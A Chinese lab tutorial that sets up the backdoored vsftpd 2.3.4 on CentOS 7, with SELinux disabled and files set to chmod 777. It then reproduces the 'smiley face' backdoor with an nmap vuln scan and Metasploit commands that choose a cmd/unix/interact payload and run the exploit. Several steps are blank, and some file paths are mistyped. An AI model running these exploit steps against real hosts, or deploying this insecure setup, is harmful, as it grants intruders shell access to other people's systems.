ftp2.3.4（笑脸漏洞复现）以及安装过程

一、centos7搭建过程

下载地址：GitHub - shurongyugong/shurong.github.io at ftp2.3.4(笑脸漏洞)

1. 解压文件

   tar -zxvf 压缩包
   cd vsftpd-2.3.4
   chmod 777 *

2. 安装编译所需依赖

   #遇到"/usr/bin/ld: 找不到 -lcap"错误,安装 libcap 库及其开发工具
       yum install libcap libcap-devel -y
   ​
   #检查依赖关系,这将确保安装了构建和编译工具。
       yum groupinstall "Development Tools" -y

3. 进行编译安装，出现以下这些东西，说明安装成功。

   make &&make install

4. 

5. 然后执行下面步骤

   cp vsftpd.conf /etc           #配置主文件     
   cp RedHat/vsftpd.pam /etc/pam.d/ftp   #PAM 认证

6. 修改配置文件

   vim /etc/vsftpd.conf   
       将listen改为yes 
       将local_enable改为YES

7. 
8. 

9. 修改/etc/xinetd.d/vsftpd

   vim /etc/xinetd.d/vsftpd
       保证disable是yes

10. 

11. 关闭selinux，打开配置文件把这里修改为disabled。

    vim /etc/selinux/config 

12. 

13. 启动vsftp

    /usr/local/sbin/vsftpd &

14. ps -eaf|grep vsftp查看是否启动，出现两个vsftpd即为正常。

15. 

16. 接下来可以做一下vsftp的自启动

17. 首先先创建/etc/systemd/system/ftp.service文件

    [Unit]
     Description=/etc/rc.local Compatibility
     ConditionPathExists=/etc/rc.local
     
    [Service]
     Type=forking
     ExecStart=/etc/rc.local start
     TimeoutSec=0
     StandardOutput=tty
     RemainAfterExit=yes
     SysVStartPriority=99
     
    [Install]
     WantedBy=multi-user.target

    1. 如果没有rc.1oca1文件，就需要自己创建在etc目录下，并赋予执行权限chmod +x /etc/rc.Tocal

    #!/bin/bash
    # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
    #
    # It is highly advisable to create own systemd services or udev rules
    # to run scripts during boot instead of using this file.
    #
    # In contrast to previous versions due to parallel execution during boot
    # this script will NOT be run after all other services.
    #
    # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
    # that this script will be executed during boot.
    ​
    /usr/local/sbin/vsftpd &

18. 

19. 启动并设置自启ftp.service

    sudo systemctl start ftp.service
    sudo systemctl enable ftp.service

20. 

二、复现过程

1. 扫描目标ip，查看是否存在漏洞，出现以下这些就代表存在。

   nmap -script=vuln -p 21 目标IP

2. 

3. 打开msf，搜索对应攻击模块

   search vsftp
   use 0

4. 

5. 设置ip和payload

   set rhosts 目标机IP
   show payloads
   set payload payload/cmd/unix/interact
   exploit

6. 

7. 执行成功

8.